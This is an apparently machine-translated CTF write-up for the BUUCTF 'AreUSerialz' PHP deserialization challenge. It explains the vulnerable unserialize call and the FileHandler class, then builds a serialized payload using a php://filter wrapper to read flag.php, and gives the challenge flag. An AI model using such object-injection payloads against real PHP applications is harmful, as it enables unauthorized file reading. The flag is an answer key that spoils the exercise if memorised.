当前位置:网站首页>Buctf passing Diary - - [Netting Cup 2020 Qinglong Group] areuserialz
Buctf passing Diary - - [Netting Cup 2020 Qinglong Group] areuserialz
2022-07-22 21:00:00 【Le vent...】
Enfin, j'a I fait un ordre inverse,J'ai dû comprendre un peu de déséquençage
Voici ma propre compréhension
Aller à la page
Déséquençage,Regardons d'abord les codes clés
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
Les autres ne s'expliquent pas,Regarde - moi ça.
if(is_valid($str)) //Voici le code à analyser
C'est...is_validMéthodes
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
Comme vous pouvez le voir, c'est un jugement sur les caractères entrants,Assurez - vous d'être imprimable
Ensuite, il y a la sortie directe de déséquençage
Ensuite, retournez à la classe pour voir comment sortir notreflag
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
Je vois. Voici la sortie , C'est que nous devons nous contenter maintenant op==2
Alors j'ai pris le $opModifier comme suit:2
Qu'est - ce que la sortie? Ça doit être ce qu'on veut flag, Le but est donc de $res=flag
Parce que j'ai encore appelé read()Méthodes,Alors allons voir.read()
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
Comme vous pouvez le voir, il est utiliséfile_get_contents La fonction assigne le résultat à $res, On ne peut pas laisser $res=flagC'est
Un pseudo - Protocole est nécessaire ,Parce quefile_get_contents Est de lire le chemin ou l'URL
Donc nous avons mis$filename="php://filter/read=convert.base64-encode/resource=flag.php";
Donc C'est juste changer les trois premières lignes comme ça :
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
Ensuite, faites une sérialisation locale
Voici les résultats
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}
La découverte a échoué,C'est parce queprotectedC'est une propriété privée, La déséquençage direct peut causer des problèmes
C'est...protected Format sérialisé pour (\00 C'est là que ça a mal tourné , C'est un espace, donc c'est un problème )
Type de données: Nom de la propriété longueur :"\00*\00Nom de la propriété";Type de données: Longueur de la valeur de l'attribut :"Valeur de l'attribut";
Donc pour changer le type de variable ,Modifier comme suit:public( Ne change pas. Private, C'est aussi une propriété privée )
Modifier comme suit:
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
La sérialisation donne les résultats que nous voulons
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
Entrée,Je l'ai.base64Arrièreflag
Après décodage:
<?php $flag='flag{a5b5f442-946d-4bc2-8eb4-b587ec1cb4f2}';
flagC'est
flag{a5b5f442-946d-4bc2-8eb4-b587ec1cb4f2}
边栏推荐
- Django中使用Mysql数据库
- 【FPGA】:clocking核的使用
- 宏和枚举
- Constructive common centroid placement and routing of binary weighted capacitor arrays
- 微信小程序入门教程学习笔记——UI篇之布局基础
- 微信小程序Cannot read property 'setData' of null錯誤
- 第一章:minio介绍与安装
- Automatic generation of common centroid capacitance array with arbitrary capacitance ratio
- Redis series 15 -- redis cache cleaning
- 给table的td设置了 colspan 失效
猜你喜欢
随机推荐
Rapid construction of the locust testing framework
Parasitic sensing common centroid binary weighted capacitor layout generation integrates layout, wiring, and cell capacitor size
Postgre database
xshell、CRT上使用vbscript更高效连接定位到服务器以及目录、数据库
Install pycharm
【FPGA】:clocking核的使用
多线程04--线程的原子性、CAS
scanf和printf格式问题
【FPGA】:aurora核的使用
环境变量配置文件
Interview question series (I): data comparison and basic type of disassembly and assembly box
Gradient sensitivity reduction of current mirror with non rectangular layout 1 Structure
Redis 系列14--Redis Cluster
Lingo 基本使用
Rapid construction of selenium testing framework (UI automated testing)
Using various weighting methods to place binary weighted capacitor array in SAR ADC
多线程01--创建线程和线程状态
面试题系列(一):数据的比较和基本类型的拆装箱
Bash基本功能—多命令顺序执行与管道符
Thread pool 01 -- basic use